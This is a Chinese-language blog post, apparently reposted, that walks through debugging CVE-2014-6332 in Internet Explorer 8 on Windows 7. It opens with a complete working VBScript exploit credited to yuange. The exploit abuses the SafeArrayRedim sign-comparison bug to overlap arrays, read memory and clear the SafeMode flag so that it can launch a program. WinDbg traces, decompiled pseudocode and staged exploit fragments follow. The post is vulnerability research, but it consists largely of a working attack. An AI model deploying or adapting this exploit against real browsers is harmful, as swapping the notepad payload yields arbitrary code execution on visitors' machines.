CVE-2014-6332调试

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CVE-2014-6332调试相关的知识,希望对你有一定的参考价值。

调试环境: Win7SP1x32+IE8

一. POC

先给出完整POC,如果exploit成功,则会产出notepad

技术分享
<!DOCTYPE html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8">
<body>
  CVE-2014-6332 exploit by yuange.
<SCRIPT LANGUAGE="VBScript">
function Runmumaa()  
  On Error Resume Next
  set shell=createobject("Shell.Application")
  shell.ShellExecute "notepad.exe"
end function
</script>

<SCRIPT LANGUAGE="VBScript">
dim aa()  
dim ab()
dim a0
dim a1
dim a2
dim a3
dim intVersion
dim myarray

Begin()

function Begin()  
  On Error Resume Next
  info=Navigator.UserAgent

  if (instr(info,"Win64")>0) then  
    exit function
  end if
  if (instr(info,"MSIE")>0) then
    intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
  else
    exit function
  end if

  BeginInit()
  if Create()=True then
    myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
    myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(00)  
    Setnotsafemode()
  end if
end function

function BeginInit()  
  Randomize()
  redim aa(5)
  redim ab(5)
  a0=13+17*rnd(6)
  a3=7+3*rnd(5)
end function

function Create()  
  On Error Resume Next
  dim i
  Create=False
  for i = 0 to 400
    if Over()=True then
      Create=True
      exit for
    end if
  next
end function

sub testaa()
end sub

function Mydata()  
  On Error Resume Next
  i=testaa
  i=null

  redim Preserve aa(a2)
  ab(0)=0
  aa(a1)=i
  ab(0)=6.36598737437801E-314  
  aa(a1+2)=myarray
  ab(2)=1.74088534731324E-310  
  Mydata=aa(a1)
  redim Preserve aa(a0)
end function

function Setnotsafemode()
  On Error Resume Next
  i=Mydata()  
  i=ReadMemo(i+8)
  i=ReadMemo(i+16)  

  for k=0 to &h60 step 4  
    j=ReadMemo(i+&h120+k)
    if (j=14) then
      redim Preserve aa(a2)
      aa(a1+2)(i+&h11c+k)=ab(4)  
      redim Preserve aa(a0)
      exit for
    end if
  next

  ab(2)=1.69759663316747E-313  
  Runmumaa()
end function

function Over()  
  On Error Resume Next
  dim type1
  Over=False
  a0=a0+a3
  a1=a0+2
  a2=a0+&h8000000
  redim Preserve aa(a0)
  redim ab(a0)

  redim Preserve aa(a2)  
  type1=1
  ab(0)=1.012345678901234567890123456789  
  aa(a0)=10

  if (IsObject(aa(a1-1)) = False) then
    if (VarType(aa(a1-1))<>0) then
      if (IsObject(aa(a1)) = False) then
        type1=VarType(aa(a1))
      end if
    end if
  end if
  if (type1=&h0b24) then  
    Over=True
  end if
  redim Preserve aa(a0)  
end function

function ReadMemo(add)  
  On Error Resume Next
  redim Preserve aa(a2)
  ab(0)=0
  aa(a1)=add+4
  ab(0)=1.69759663316747E-313  
  ReadMemo=lenb(aa(a1))  
  ab(0)=0
  redim Preserve aa(a0)
end function
</script>
</body>
</html>
View Code

二. GodMode 模式 

VBScript在IE浏览器中的权限很低,正常情况下如下代码是无法弹出计算器的,此受限模式是通过SafeMode标识来控制的。

IE通过COleScript::InSafeMode(void)来检查程序是否运行在SafeMode下,此标识的默认值是0xE。此CVE正是通过修改SafeMode标识升级为GodMode,从而为所欲为。

<html>
    <script LANGUAGE="VBScript">
        function runmumaa() 
            On Error Resume Next
            set shell=createobject("Shell.Application")
            shell.ShellExecute "calc.exe"
        end function
        runmumaa()
    </script>
<html>

通过IDA可以查看COleScript::InSafeMode(void)的逻辑如下:

技术分享

使用Windbg调试,断点:bu vbscript!COleScript::InSafeMode

0:005> dd ecx+174 L1
0049fbb4  0000000e
0:005> ln poi(ecx)
(67ee4868)   vbscript!COleScript::`vftable   |  (67effdbc)   vbscript!`string
Exact matches:
    vbscript!COleScript::`vftable = <no type information>         

 

以上可以得出两点信息:1) SafeMode标识此时为0xE; 2) SafeMode标识存放在 vbscript!COleScript对象偏移0x174处

手动更改SafeMode标识为0x0, Disable 断点,弹出计算器成功! 

0:005> eb ecx+174 0
0:005> dd ecx+174 L1
0049fbb4  00000000
0:005> bd *
0:005> g
ModLoad: 71220000 71223000   C:\\Windows\\system32\\sfc.dll
ModLoad: 71210000 7121d000   C:\\Windows\\system32\\sfc_os.DLL
(794.820): Break instruction exception - code 80000003 (first chance)
eax=7ffd8000 ebx=00000000 ecx=00000000 edx=77dcf125 esi=00000000 edi=00000000
eip=77d640f0 esp=05e3f9f8 ebp=05e3fa24 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
77d640f0 cc              int     3

 技术分享

三. 变量结构

修改SafeMode标识后可以为所欲为,那么如何达到这一目标呢? 先来了解下VBS变量、数组的结构,这是后面exploit的基础。

这里我们反复会用到一个调试技巧,即IsEmpty函数,通过它我们来观察变量,IsEmpty第一个参数即为code中传入的变量。设断点:bu vbscript!VbsIsEmpty

<html>
    <script LANGUAGE="VBScript">
        On Error Resume Next
        dim int1, str1, f1
        dim arr1(6)
        int1 = &h11223344
        IsEmpty(int1)

        str1 = "AABBCCDD"
        IsEmpty(str1)

        f1 = 1.123456789012345678901234567890
        IsEmpty(f1)

        arr1(0) = &h11223344
        arr1(1) = "AABBCCDD"
        IsEmpty(arr1)
        
    </script>
<html>

 

0:005> dd poi(esp+c) L4
012b5cf8  00000003 00000000 11223344 00000000  --> 0003是VarType, 这里是Long Integer; 000000000000是保留字段;11223344正好对应int1的内容

参考文献[2]中给出了一张图,描述了 VARIANT的结构,如下所示,我们进一步看看其他变量类型。

技术分享

详细的VarType取值可以参考 https://msdn.microsoft.com/en-us/library/aa263402(v=vs.60).aspx

但MSDN并没有列出所有的情况,多一些的可以参考 http://www.secniu.com/how-to-use-vbscript-to-turn-on-the-god-mode/

0:005> g
Breakpoint 0 hit
eax=6bde185c ebx=0204d02c ecx=6be3a9d8 edx=0204cfa4 esi=0176551c edi=00000001
eip=6bdfc206 esp=0204cec0 ebp=0204ced0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6bdfc206 8bff            mov     edi,edi
0:005> dd poi(esp+c) L4
017635c0  0000004a 00000000 01765ef0 00000000
0:005> dd 01765ef0 
01765ef0  00000008 00000000 0051fae4 00000000  --> 0008 vbString类型,对应str1
01765f00  00000000 00000000 38934f9e 0002ed9c
01765f10  01763648 003cffd8 00000000 00000000
01765f20  00000000 00000000 00000000 00000000
01765f30  00000000 00000000 00000000 00000000
01765f40  00000000 00000000 00000000 00000000
01765f50  00000000 00000000 00000000 00000000
01765f60  00000000 00000000 00000000 00000000
0:005> dU 0051fae4 
0051fae4  "AABBCCDD"
0:005> g
Breakpoint 0 hit
eax=6bde185c ebx=0204d02c ecx=6be3a9d8 edx=0204cfa4 esi=0176551c edi=00000001
eip=6bdfc206 esp=0204cec0 ebp=0204ced0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6bdfc206 8bff            mov     edi,edi
0:005> dd poi(esp+c) L4
017635c0  00000005 00000000 d3746f66 3ff1f9ad ---> 0005 vbDouble类型, 对应f1
0:005> dD 017635c0+8 L1
017635c8           1.12345678901

 

再看看SafeArray的结构

0:005> g
Breakpoint 0 hit
eax=6bde185c ebx=0204d02c ecx=6be3a9d8 edx=0204cfa4 esi=0176551c edi=00000001
eip=6bdfc206 esp=0204cec0 ebp=0204ced0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6bdfc206 8bff            mov     edi,edi
0:005> dd poi(esp+c)
017635c0  003c600c 00000000 017659e0 00505668  
017635d0  0000400c 00000000 017659d4 00000000
017635e0  0000400c 00000000 003cfe4c 00000000
017635f0  0000400c 00000000 003cfe10 00000000
01763600  0000400c 00000000 003cfdd4 00000000
01763610  00000000 00000000 00000000 00000000
01763620  00000000 00000000 00000000 00000000
01763630  00000000 00000000 00000000 00000000
0:005> dd 00505668
00505668  08920001 00000010 00000000 004d5748 --> 00505668开始的0x18个字节就是SafeArray: 0001表示数组是1维;004d5748是数据buffer,真正放内容的地方;
00505678  00000007 00000000 43303c93 8c005496 --> 00000007表示第一维元素个数;00000000表示第一维起始下标
00505688  00000000 fa445657 00140004 005056b8
00505698  fa445657 11d69379 06001ab4 53ee835b
005056a8  00000000 00000000 43303c95 88000892
005056b8  76542778 76546674 765467c8 00000001
005056c8  fa445657 11d69379 06001ab4 53ee835b
005056d8  00000000 00000001 43303c9f 8800218c
0:005> dd 004d5748
004d5748  00000003 00000000 11223344 3ff1f9ad --> 可以看到熟悉的VARIANT结构
004d5758  00000008 00000000 0051fae4 0204cfd4
004d5768  00000000 00000000 00000000 00000000
004d5778  00000000 00000000 00000000 00000000
004d5788  00000000 00000000 00000000 00000000
004d5798  00000000 00000000 00000000 00000000
004d57a8  00000000 00000000 00000000 00000000
004d57b8  433390f4 8000006c 00b1005c 00000000

 

技术分享  技术分享

四. Get ColeCscript Objet

了解完基本变量结构后,我们回到SafeMode标识的问题。通过第二部分,我们知道SafeMode标识存放在 vbscript!COleScript对象偏移0x174处。 那如何得到一个 vbscript!COleScript对象呢?

<html>
    <script LANGUAGE="VBScript">
        On Error Resume Next  
        
        sub testaa()
        end sub
        
        dim i
        IsEmpty("Try to get ColeCscript")
        i = testaa
        i = null
        IsEmpty(i)
        
    </script>
<html>        

 

这里插入一个求值栈的概念,VBScript中,像赋值、求值操作,都会用一个求值栈来保存中间变量及临时结果。

如上面的 "Try to get ColeCscript",就是先保存为一个中间vbstring变量给IsEmpty()函数; 对i的赋值也是先对求值栈中的variant操作,最后赋值给i。每次调试时,求值栈的地址是固定的(这一点可以从上面的调试过程中看出)。

0:018> g
ModLoad: 6a880000 6a8eb000   C:\\Windows\\system32\\vbscript.dll
Breakpoint 0 hit
eax=6a88185c ebx=01d8d4e4 ecx=6a8da9d8 edx=01d8d45c esi=01f7559c edi=00000001
eip=6a89c206 esp=01d8d378 ebp=01d8d388 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6a89c206 8bff            mov     edi,edi
0:005> dd poi(esp+c)
01f75ec0  00000008 00000000 01f75564 00000000 --> 01f75ec0即为求值栈的地址
01f75ed0  0000400c 00000000 0029fdc4 00000000
01f75ee0  00000000 00000000 00000000 00000000
01f75ef0  00000000 00000000 00000000 00000000
01f75f00  00000000 00000000 00000000 00000000
01f75f10  7ef1abcb 00029fa0 01f73058 0029ffb8
01f75f20  00000000 00000000 00000000 00000000
01f75f30  00000000 00000000 00000000 00000000
0:005> du 01f75564 
01f75564  "Try to get ColeCscript"
0:005> ba w4 01f75ec0+8                      --> 下硬件断点,当Variant的Data内容被改变时断下             
0:005> g
Breakpoint 1 hit
eax=00000000 ebx=01d8d514 ecx=01f72010 edx=01f7554c esi=0029fd90 edi=01f75ecc
eip=6a882b26 esp=01d8d33c ebp=01d8d344 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
vbscript!NameTbl::GetAdrCore+0x2d:
6a882b26 a5              movs    dword ptr es:[edi],dword ptr [esi] es:0023:01f75ecc=00000000 ds:0023:0029fd90=0b00000b
0:005> dd 01f75ec0 L4
01f75ec0  0000004c 00000080 0029ff90 00000000 -->VarType是004c,标识VT_FUNC,0029ff90是一个vbscript!CScriptEntryPoint对象地址
0:005> ln poi(0029ff90)
(6a884934)   vbscript!CScriptEntryPoint::`vftable   |  (6a89ab54)   vbscript!CEntryPointDispatch::`vftable
Exact matches:
    vbscript!CScriptEntryPoint::`vftable = <no type information>
0:005> bc 1
0:005> g
Breakpoint 0 hit
eax=6a88185c ebx=01d8d4e4 ecx=6a8da9d8 edx=01d8d45c esi=01f7559c edi=00000001
eip=6a89c206 esp=01d8d378 ebp=01d8d388 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6a89c206 8bff            mov     edi,edi
0:005> dd 01f75ec0 L4
01f75ec0  00000001 00000080 0029ff90 0b00000b --> 最终i的类型为0001(Null),数据区域是vbscript!CScriptEntryPoint对象地址
0:005> ln poi(0029ff90)
(6a884934)   vbscript!CScriptEntryPoint::`vftable   |  (6a89ab54)   vbscript!CEntryPointDispatch::`vftable
Exact matches:
    vbscript!CScriptEntryPoint::`vftable = <no type information>
0:005> dd 0029ff90
0029ff90  6a884934 00000001 0029ff20 01f75508
0029ffa0  01f75878 00000000 0029ff20 0029fb68
0029ffb0  62f1abd7 00009f69 01f75f18 002900c4
0029ffc0  0029ebb8 00292f00 00000000 00000000
0029ffd0  00000000 00000000 00000000 00000000
0029ffe0  61f0abd5 03009f6a 00000000 00000000
0029fff0  00290038 00290038 002a0000 00000000
002a0000  f95543e7 0100306d ffeeffee 00000000
0:005> dd 0029ff20 
0029ff20  00000005 00000000 00000000 00000000 --> 查看CScriptEntryPoint对象偏移8字节处地址的内容
0029ff30  0029f8a0 00000000 0029fa78 00292f00
0029ff40  01f75508 01f75508 66f0abd2 0c009f6a
0029ff50  00000008 00000000 0029ff20 00000021
0029ff60  60f0abd4 08009f6f 6a884934 00000002
0029ff70  0029ff20 01f75508 01f75804 00000000
0029ff80  0029ff20 0029fb68 60f0abd4 08009f69
0029ff90  6a884934 00000001 0029ff20 01f75508
0:005> ln poi(0029f8a0)
(6a884868)   vbscript!COleScript::`vftable   |  (6a89fdbc)   vbscript!`string--> 该地址偏移0x10字节,就是一个ColeScript对象
Exact matches:
    vbscript!COleScript::`vftable = <no type information>
0:005> dd 0029f8a0+174 L4
0029fa14  0000000e 00000000 00000000 00000000  --> ColeScript对象偏移0x174字节,就是SafeMode标识。所以通过CSriptEntryPoint就可以关联到ColeScript对象

 

通过调试过程,我们再来理解下上面的html code。

1) 当用函数地址testaa对i赋值时,求值栈更新了VarType和Data, 但却不会赋值给i,求值栈内容还保留

2)下一步用null对i赋值时,只更新了求值栈中的VarType,并不需要取Data。从而把VarType=Null, Data为CSriptEntryPoint对象地址的VARIANT给了i。

 

五. SafeArrayRedim

接下来就真正是漏洞所在的部分了

<html>
    <SCRIPT LANGUAGE="VBScript">
        On Error Resume Next
        dim aa()
        redim aa(5)
        aa(0) = &h11223344
        aa(1) = &h11223344
        IsEmpty(aa)
        
        redim Preserve aa(5+&h8000000)
        IsEmpty(aa)

    </script>
<html>        
0:018> g
ModLoad: 6bdf0000 6be5b000   C:\\Windows\\system32\\vbscript.dll
Breakpoint 0 hit
eax=6bdf185c ebx=0209d584 ecx=6be4a9d8 edx=0209d4fc esi=00b56500 edi=00000001
eip=6be0c206 esp=0209d418 ebp=0209d428 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6be0c206 8bff            mov     edi,edi
0:005> dd poi(poi(esp+c)+c)
004c8388  08800001 00000010 00000000 004fa2a0 --> Array的数据放在004fa2a0处,数组长度是00000006
004c8398  00000006 00000000 6df39936 8c000000
004c83a8  03bf0ac4 03bf0ac0 004cdc40 6a43eee1
004c83b8  6a4230da 0000005c 00000058 00000008
004c83c8  00000001 00000000 6df39938 88000000
004c83d8  6a76bdc8 00000000 6a405d74 004b8088
004c83e8  6a405b60 00000000 00000000 00000000
004c83f8  03000004 00000000 6df399c2 80000000
0:005> g
Breakpoint 0 hit
eax=6bdf185c ebx=0209d584 ecx=6be4a9d8 edx=0209d4fc esi=00b56500 edi=00000001
eip=6be0c206 esp=0209d418 ebp=0209d428 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6be0c206 8bff            mov     edi,edi
0:005> dd poi(poi(esp+c)+c)
004c8388  08800001 00000010 00000000 004fa2a0 --> Array的数据仍放在004fa2a0处,但数组长度却变成了08000006。一个VARIANT 0x10字节,因此数组占0x80000060字节
004c8398  08000006 00000000 6df39936 8c000000 --> 一个VARIANT 0x10字节,因此Array数据buffer占0x80000060字节,32位进程用户最大寻址空间也只到0x7fffffff字节。而且buffer地址没有变,猜测在Redim的时候,只改变了大小,并没有重新分配空间。
004c83a8  03bf0ac4 03bf0ac0 004cdc40 6a43eee1
004c83b8  6a4230da 0000005c 00000058 00000008
004c83c8  00000001 00000000 6df39938 88000000
004c83d8  6a76bdc8 00000000 6a405d74 004b8088
004c83e8  6a405b60 00000000 00000000 00000000
004c83f8  03000004 00000000 6df399c2 80000000

 

通过以上分析,我们来看看VBScript的Redim到底发生了什么吧。

0:005> x *!*redim*
6be05891 vbscript!RedimPreserveArray = <no type information>
6d2f114b IEFRAME!CSharedImageList<42514>::GetToolbar = <no type information>
6d071d90 IEFRAME!_imp__SafeArrayRedim = <no type information>
6d1f5c50 IEFRAME!CSharedImageList<42514>::`vftable = <no type information>
6d2f0488 IEFRAME!CSharedImageList<634>::`vector deleting destructor = <no type information>
6d1f5c64 IEFRAME!CSharedImageList<42497>::`vftable = <no type information>
6d1f5c6c IEFRAME!CSharedImageList<42498>::`vftable = <no type information>
6d1f5c68 IEFRAME!CSharedImageList<42496>::`vftable = <no type information>
6d2f0a21 IEFRAME!CSharedImageList<700>::CSharedImageList<700> = <no type information>
6d1f5c54 IEFRAME!CSharedImageList<635>::`vftable = <no type information>
6d1f5c58 IEFRAME!CSharedImageList<700>::`vftable = <no type information>
6d2f0488 IEFRAME!CSharedImageList<634>::`scalar deleting destructor = <no type information>
6d1f5c60 IEFRAME!CSharedImageList<636>::`vftable = <no type information>
6d2f128f IEFRAME!CSharedImageList<42498>::GetSimple = <no type information>
6d2f0b0f IEFRAME!CSharedImageList<635>::`scalar deleting destructor = <no type information>
6d2f0ae9 IEFRAME!CSharedImageList<700>::`scalar deleting destructor = <no type information>
6d2f110b IEFRAME!CSharedImageList<700>::GetToolbar = <no type information>
6d2f1227 IEFRAME!CSharedImageList<42497>::GetSimple = <no type information>
6d2f0b35 IEFRAME!CSharedImageList<636>::`scalar deleting destructor = <no type information>
6d1f5c5c IEFRAME!CSharedImageList<634>::`vftable = <no type information>
6d2f0a6c IEFRAME!CSharedImageList<634>::CSharedImageList<634> = <no type information>
6d2f125b IEFRAME!CSharedImageList<42496>::GetSimple = <no type information>
6d2f0b0f IEFRAME!CSharedImageList<635>::`vector deleting destructor = <no type information>
6d2f0a85 IEFRAME!CSharedImageList<636>::CSharedImageList<636> = <no type information>
6d2f0a53 IEFRAME!CSharedImageList<635>::CSharedImageList<635> = <no type information>
6d2f0ae9 IEFRAME!CSharedImageList<700>::`vector deleting destructor = <no type information>
6d2f0b35 IEFRAME!CSharedImageList<636>::`vector deleting destructor = <no type information>
6d2f04d4 IEFRAME!CSharedImageList<42496>::`scalar deleting destructor = <no type information>
6d2f0b5b IEFRAME!CSharedImageList<42498>::`scalar deleting destructor = <no type information>
6d2f04ae IEFRAME!CSharedImageList<42497>::`scalar deleting destructor = <no type information>
6d2f0462 IEFRAME!CSharedImageList<42514>::`vector deleting destructor = <no type information>
6d2f04d4 IEFRAME!CSharedImageList<42496>::`vector deleting destructor = <no type information>
6d2f0b5b IEFRAME!CSharedImageList<42498>::`vector deleting destructor = <no type information>
6d2f04ae IEFRAME!CSharedImageList<42497>::`vector deleting destructor = <no type information>
6d2f0462 IEFRAME!CSharedImageList<42514>::`scalar deleting destructor = <no type information>
6d2f0a9e IEFRAME!CSharedImageList<42497>::CSharedImageList<42497> = <no type information>
6d2f0ad0 IEFRAME!CSharedImageList<42498>::CSharedImageList<42498> = <no type information>
6d2f0a3a IEFRAME!CSharedImageList<42514>::CSharedImageList<42514> = <no type information>
6d2f11f3 IEFRAME!CSharedImageList<636>::GetSimple = <no type information>
6d2f118b IEFRAME!CSharedImageList<635>::GetSimple = <no type information>
6d2f0ab7 IEFRAME!CSharedImageList<42496>::CSharedImageList<42496> = <no type information>
6d2f11bf IEFRAME!CSharedImageList<634>::GetSimple = <no type information>
74477c21 comctl32!CToolbar::_AddCenteredImagelistToImageList = <no type information>
7670ec2c OLEAUT32!SafeArrayRedim = <no type information>
76bf4668 SHELL32!ImageList_LoadMirroredImage = <no type information>

 

通过查找符号表,和redim相关的函数有两个: vbscript!RedimPreserveArray  和  OLEAUT32!SafeArrayRedim

不过进一步发现 vbscript!RedimPreserveArray最终会调用 OLEAUT32!SafeArrayRedim,在调用 OLEAUT32!SafeArrayRedim之前,数组的长度并没有变成 0x08000006。所以不出意外,问题就是出现在OLEAUT32!SafeArrayRedim中了。

上IDA!!!  函数太长,看汇编跪了,先看得伪代码。

HRESULT __stdcall SafeArrayRedim(SAFEARRAY *psa, SAFEARRAYBOUND *psaboundNew)
{
  SAFEARRAY *v2; // [email protected]
  USHORT v3; // [email protected]
  __int32 v4; // [email protected]
  signed int v5; // [email protected]
  ULONG v6; // [email protected]
  LONG v7; // [email protected]
  unsigned int v8; // [email protected]
  struct IMalloc *v9; // [email protected]
  SAFEARRAY *v10; // [email protected]
  int v11; // [email protected]
  SAFEARRAYBOUND *v13; // [email protected]
  ULONG v14; // [sp+Ch] [bp-18h]@9
  LONG v15; // [sp+10h] [bp-14h]@9
  struct IMalloc *v16; // [sp+14h] [bp-10h]@6
  int v17; // [sp+18h] [bp-Ch]@3
  unsigned int v18; // [sp+1Ch] [bp-8h]@9
  size_t Size; // [sp+20h] [bp-4h]@7
  SAFEARRAY *psaa; // [sp+2Ch] [bp+8h]@6
  SAFEARRAYBOUND *psaboundNewa; // [sp+30h] [bp+Ch]@38

  v2 = psa;
  if ( psa )
  {
    if ( psaboundNew )
    {
      v3 = psa->fFeatures;
      v17 = psa->fFeatures & 0x2000;
      if ( psa->cDims )
      {
        if ( psa->cLocks > 0 || v3 & 0x10 )
          return -2147352563;
        psaa = 0;
        v16 = 0;
        v4 = GetMalloc(&v16);
        v5 = v4;
        if ( v4 && v4 < 0 )
          return v5;
        Size = SafeArraySize(v2);              --> 得到原始数组size
        if ( !Size || v2->pvData )
        {
          v6 = v2->rgsabound[0].cElements;    --> 保存原始数组长度
          v7 = v2->rgsabound[0].lLbound;      -->保存原始数组起始下标
          v2->rgsabound[0] = *psaboundNew;    -->(!!!)将数组长度更改为新的值,在还未申请内存前
          v14 = v6;
          v15 = v7;
          v8 = SafeArraySize(v2);            --> 得到新数组长度
          v18 = v8;
          if ( v8 == -1 )
          {
            v2->rgsabound[0].cElements = v6;
            v2->rgsabound[0].lLbound = v7;
            v5 = -2147024882;
          }
          else
          {
            v5 = v8 - Size;                --> 0x80000060-0x00000060=0x80000000
            if ( v8 != Size )
            {
              v9 = v16;
              if ( v5 < 0 && v2->fFeatures & 0xF20 )  --> 这里使用了jge指令,相当于按有符号数比较,但数组长度其实是ULONG类型。从而进入了v5<0的分支
              {
                if ( v17 )
                {
                  psaa = (SAFEARRAY *)((char *)v2->pvData + v8);
                }
                else
                {
                  v10 = (SAFEARRAY *)v16->lpVtbl->Alloc(v16, -v5);  --> 重新申请内存
                  psaa = v10;
                  if ( !v10 )                                       --> 申请失败,跳转到LABEL_32
                    goto LABEL_32;
                  memcpy(v10, (char *)v2->pvData + v18, -v5);
                  v8 = v18;
                }
              }
              if ( v17 )
              {
                if ( v8 <= Size )
                  goto LABEL_19;
                v13 = (SAFEARRAYBOUND *)v9->lpVtbl->Alloc(v9, v8);
                psaboundNewa = v13;
                if ( v13 )
                {
                  memcpy(v13, v2->pvData, Size);
                  v2->pvData = psaboundNewa;
                  v2->fFeatures &= 0xDFFFu;
                  goto LABEL_19;
                }
              }
              else
              {
                v11 = (int)v9->lpVtbl->Realloc(v9, v2->pvData, v8);
                if ( v11 )
                {
LABEL_18:
                  v2->pvData = (PVOID)v11;
LABEL_19:
                  if ( v5 >= 0 )
                  {
                    memset((char *)v2->pvData + Size, 0, v5);
                  }
                  else
                  {
                    if ( psaa )
                      ReleaseResources(v2, (VARIANTARG *)psaa, -v5, v2->fFeatures, v2->cbElements);
                    if ( v17 )
                      psaa = 0;
                  }
                  v5 = 0;
                  goto LABEL_25;
                }
                if ( !v18 )
                {
                  v11 = (int)v9->lpVtbl->Alloc(v9, 0);
                  goto LABEL_18;
                }
              }
              v2->rgsabound[0].cElements = v14;
              v2->rgsabound[0].lLbound = v15;
LABEL_32:
              v5 = -2147024882;                       --> v5=0x8007000E 
LABEL_25:
              if ( psaa )
                v9->lpVtbl->Free(v9, psaa);
              return v5;                             --> 返回0x8007000E
            }
          }
          return v5;                                 
        }
      }
    }
  }
  return -2147024809;
}

可以设断点跟一下上述过程,这里就不详细展开了。当数组索引越界,后面就简单了。

六、Array Overlap

了解了漏洞原理之后,现在到了最奇妙的构造内存布局的过程了。

<!DOCTYPE html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8">
<body>
  CVE-2014-6332 exploit by yuange.

<SCRIPT LANGUAGE="VBScript">
dim aa()  
dim ab()
dim a0
dim a1
dim a2
dim a3
dim intVersion
dim myarray

Begin()

function Begin()  
  On Error Resume Next
  BeginInit()
  if Create()=True then
  end if
end function

function BeginInit()  
  Randomize()
  redim aa(5)
  redim ab(5)
  a0=13+17*rnd(6)
  a3=7+3*rnd(5)
end function

function Create()  
  On Error Resume Next
  dim i
  Create=False
  for i = 0 to 400
    if Over()=True then
      Create=True
      exit for
    end if
  next
end function

function Over()  
  On Error Resume Next
  dim type1
  Over=False
  a0=a0+a3
  a1=a0+2
  a2=a0+&h8000000
  redim Preserve aa(a0)
  redim ab(a0)

  redim Preserve aa(a2)  
  type1=1
  ab(0)=1.012345678901234567890123456789  
  aa(a0)= 10

  if (IsObject(aa(a1-1)) = False) then
    if (VarType(aa(a1-1))<>0) then
      if (IsObject(aa(a1)) = False) then
        type1=VarType(aa(a1))
      end if
    end if
  end if
  if (type1=&h0b24) then  
    IsEmpty(aa)
    IsEmpty(ab)
    Over=True
  end if
  redim Preserve aa(a0)  
end function

</script>
</body>
</html>

 

循环申请堆空间,期望的内存布局如下(图源于参考文献[2]):

技术分享

0:011> g
ModLoad: 6c9e0000 6ca4b000   C:\\Windows\\system32\\vbscript.dll
Breakpoint 0 hit
eax=6c9e185c ebx=01ecc8b0 ecx=6ca3a9d8 edx=01ecc828 esi=01ee6604 edi=00000001
eip=6c9fc206 esp=01ecc744 ebp=01ecc754 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6c9fc206 8bff            mov     edi,edi
0:004> dd poi(poi(esp+c)+c)
0025e7d8  08800001 00000010 00000000 00262758
0025e7e8  0800001d 00000000 01f6c8cd 88002020
0025e7f8  69f82010 00000003 00000008 00000000
0025e808  00000000 00281068 00000052 80006200
0025e818  00000006 00238b88 01f6c937 80000d74
0025e828  6a380002 00000000 6a007be0 0022d4d0
0025e838  6a01e360 00000000 00000000 00000000
0025e848  02000008 6a01e200 01f6c939 80005220
0:004> g
Breakpoint 0 hit
eax=6c9e185c ebx=01ecc8b0 ecx=6ca3a9d8 edx=01ecc828 esi=01ee6604 edi=00000001
eip=6c9fc206 esp=01ecc744 ebp=01ecc754 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
6c9fc206 8bff            mov     edi,edi
0:004> dd poi(poi(esp+c)+c)
0025e598  08800001 00000010 00000000 00262930 
0025e5a8  0000001d 00000000 01f6c885 80007474
0025e5b8  6a380008 00000000 6a007be0 00253d70
0025e5c8  6a009e30 001e5010 69f85320 00000007
0025e5d8  00000003 00000000 01f6c88f 80003845
0025e5e8  6a380032 00000000 6a007be0 00253d70
0025e5f8  6a009ec4 001e5010 69f85320 00000007
0025e608  00000006 00000000 01f6c8f1 88000a0d

  0:004> dD 00262938 l1
  00262938 1.0123456789

0:004> ?00262758+0x10*1d
Evaluate expression: 2500904 = 00262928
0:004> ?00262928+0x8
Evaluate expression: 2500912 = 00262930  --> 看,aa(a0)与ab(0)就差8个字节堆指针

程序是如何判断aa, ab符合这个结构的呢? 对 ab(0)=1.012345678901234567890123456789,aa(a1)的VarType刚好是0x0b24,以此为判断依据。

在这种情况下,aa与ab是错位重叠的,aa的数据区域是ab的VarType区域,ab的VarType正是aa的数据区域。 

          0:004> dd 00262930-0x18
aa(a0)    00262918  00000002 00000000 61f2000a 3ff03291
aa(a1-1)  00262928  2bb8897e 0800fe7b 00000005 00000000  ab(0)
aa(a1)    00262938  61f20b24 3ff03291 00000000 00000000  ab(1)
aa(a1+1)  00262948  00000000 00000000 00000000 00000000  ab(2)
aa(a1+2)  00262958  00000000 00000000 00000000 00000000  ab(3)
          00262968  00000000 00000000 00000000 00000000
          00262978  00000000 00000000 00000000 00000000
          00262988  00000000 00000000 00000000 00000000
          
          0:004> dD 00262938 l1
          00262938            1.0123456789

 

 

六、Change SafeMode

构造了以上精妙的内存布局后,就要开始更改SafeMode标识了,在poc代码中加入了很多IsEmpty,便于调试。当一个部分调试完之后,可以用注释掉相应的IsEmpty,免得中断多次windbg

<!DOCTYPE html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8">
<body>
  CVE-2014-6332 exploit by yuange.
<SCRIPT LANGUAGE="VBScript">
function Runmumaa()  
  On Error Resume Next
  set shell=createobject("Shell.Application")
  shell.ShellExecute "notepad.exe"
end function
</script>

